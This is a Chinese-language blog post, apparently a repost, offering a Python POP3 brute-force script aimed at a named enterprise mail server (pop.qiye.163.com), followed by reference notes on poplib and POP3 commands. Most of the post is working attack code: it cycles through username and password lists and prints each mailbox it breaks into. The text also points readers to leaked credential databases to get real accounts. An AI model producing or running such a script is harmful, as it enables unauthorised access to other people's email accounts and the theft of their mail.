依照師傅給的任務，寫了一個企業信箱的爆破腳本，後續還有FTP,SSH等一些爆破的腳本。
我先說下整體思路：
總體就是利用python的poplib模組來從pop3伺服器上交互，根據獲取的相關信息，產生結果。 POP3協定並不複雜，它也是採用的一問一答式的方式，你向伺服器發送一個命令，伺服器必然會回復一個訊息.
1.首先驗證參數是否正確
Sys.argv[]是用來取得命令列參數的，sys.argv[0]表示程式碼本身檔案路徑，所以參數從1開始
2.然後從使用者密碼檔案讀取資訊
3.pop.getwelcome()用來取得連接伺服器的回應狀態
4.然後就是腳本的核心程式碼部分
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd
5.最後輸出出來相關的用戶資訊
腳本程式碼如下：
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author：joy_nick
@博客：http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
import threading, time, random, sys, poplib
from copy import copy
if len(sys.argv) !=3:
print "\t --------------------------------------------------\n"
print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
sys.exit(1)
server = "pop.qiye.163.com"
success = []
try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: urerlist打开失败!\n"
sys.exit(1)
try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: passlist打开失败!\n"
sys.exit(1)
try:
pop = poplib.POP3(server,110)
welcome = pop.getwelcome()
print welcome
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass
def mailbruteforce(listuser,listpwd):
if len(listuser) < 1 or len(listpwd) < 1 :
print "An error occurred: No user or pass list"
return 1
for user in listuser:
for value in listpwd :
user = user.replace("\n","")
value = value.replace("\n","")
try:
print "-"*12
print "[+] User:",user,"Password:",value
time.sleep(1)
pop = poplib.POP3(server,110)
pop.user(user)
auth = pop.pass_(value)
print auth
if auth.split(' ')[0]!= "+OK" :
pop.quit()
print "unknown error !"
continue
if pop.stat()[1] is None or pop.stat()[1] < 1 :
pop.quit()
print "获取信息失败!"
continue
ret = (user,value,pop.stat()[0],pop.stat()[1])
success.append(ret)
pop.quit()
break
except:
#print "An error occurred:", msg
pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
for ret in success:
print "\n\n[+] Login successful:",ret[0], ret[1]
print "\t[+] Mail:",ret[2],"emails"
print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"測試結果：
需要@domain.com，類似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com這樣的。由於我也沒有企業信箱的帳號密碼，也就沒測試成功的，如果有興趣，可以搜一下相關社工褲。
附：
python 中 os._exit()， sys.exit()， exit() 的差別是什麼？
sys.exit(n) 退出程式引發一個SystemExit異常, 可以捕獲異常執行些清理工作. n預設值為0, 表示正常退出. 其他都是非正常退出. 沒有捕獲這個異常，會直接退出；捕獲這個異常可以做一些額外的清理工作。 一般主程式中使用此退出
os._exit(n), 直接退出Python 解釋器，其後的程式碼都不執行, 不拋例外, 不執行相關清理工作. 常用在子進程的退出.
exit () 跟C 語言等其他語言的exit() 應該是一樣的
pop3收取郵件的過程一般是:
連接pop3伺服器(poplib.POP3.__init__)
用戶名和密碼進行驗證(poplib.POP3. POP3.user poplib.POP3.pass_)
獲取郵箱中信件資訊(poplib.POP3.stat)
收取郵件(poplib.POP3.retr)
刪除郵件(poplib.POP3.dele)
pople)。 .POP3.quit)
指令poplib方法參數狀態描述
----------------------------------- -------------------------------------------------- ----------
USER user username 認可用戶名，此命令與下面的pass命令若成功，將導致狀態轉換
PASS pass_ password 認可用戶密碼
APOP apop Name,Digest 認可Digest是MD5消息摘要
------------------------------------------------ ----------------------------------------------
STAT stat None 處理請求伺服器發回關於郵箱的統計資料，如郵件總數和總位元組數
UIDL uidl [Msg#] 處理返回郵件的唯一標識符，POP3會話的每個標識符都將是唯一的
LIST list [Msg#] 處理回傳郵件數量和每個郵件的大小
RETR retr [Msg#] 處理傳回由參數標識的郵件的全部文字
DELE dele [Msg#] 處理伺服器將由參數標識的郵件標記為刪除，由quit指令執行
RSET rset None 處理伺服器將重設所有標記為刪除的郵件，用於撤銷DELE指令
TOP top [Msg#] 處理伺服器將傳回由參數識別的郵件前n行內容，n必須是正整數
NOOP noop None 處理伺服器傳回一個肯定的回應
更多python製作企業信箱的爆破腳本相關文章請關注PHP中文網！
